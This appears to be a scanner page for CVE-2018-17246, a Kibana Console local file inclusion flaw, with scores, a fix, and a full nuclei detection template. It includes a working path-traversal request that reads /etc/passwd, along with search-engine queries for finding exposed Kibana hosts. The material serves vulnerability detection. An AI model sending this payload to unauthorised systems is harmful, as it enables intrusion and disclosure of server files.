Kibana - Local File Inclusion

criticalseverity

9.8CVSS score

84.3%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Kibana versions before 6.4.3 and 5.6.13 contain an arbitrary file inclusion flaw in the Console plugin. An attacker with access to the Kibana Console API could send a request that will attempt to execute JavaScript which could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system.

Impact

Successful exploitation of this vulnerability allows an attacker to read arbitrary files on the server, leading to potential information disclosure and further attacks.

Fix

Apply the latest security patches and updates provided by the vendor to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd
Positive when: contains "\"message\":\"An internal server error occurred\"" AND contains in header "kbn-name" or "kibana" AND contains in header "application/json"

Run it with nuclei: nuclei -id CVE-2018-17246 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-17246

info:
  name: Kibana - Local File Inclusion
  author: princechaddha,thelicato
  severity: critical
  description: Kibana versions before 6.4.3 and 5.6.13 contain an arbitrary file inclusion flaw in the Console plugin. An attacker with access to the Kibana Console API could send a request that will attempt to execute JavaScript which could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to read arbitrary files on the server, leading to potential information disclosure and further attacks.
  remediation: |
    Apply the latest security patches and updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://github.com/vulhub/vulhub/blob/master/kibana/CVE-2018-17246/README.md
    - https://www.elastic.co/community/security
    - https://discuss.elastic.co/t/elastic-stack-6-4-3-and-5-6-13-security-update/155594
    - https://nvd.nist.gov/vuln/detail/CVE-2018-17246
    - https://access.redhat.com/errata/RHBA-2018:3743
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-17246
    cwe-id: CWE-829,CWE-73
    epss-score: 0.84294
    epss-percentile: 0.99701
    cpe: cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: elastic
    product: kibana
    shodan-query: http.title:"kibana"
    fofa-query: title="kibana"
    google-query: intitle:"kibana"
  tags: cve,cve2018,lfi,kibana,vulhub,elastic,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "\"message\":\"An internal server error occurred\""

      - type: word
        part: header
        words:
          - "kbn-name"
          - "kibana"
        case-insensitive: true
        condition: or

      - type: word
        part: header
        words:
          - "application/json"

References

Use this check only on systems you are authorised to test. Where the data comes from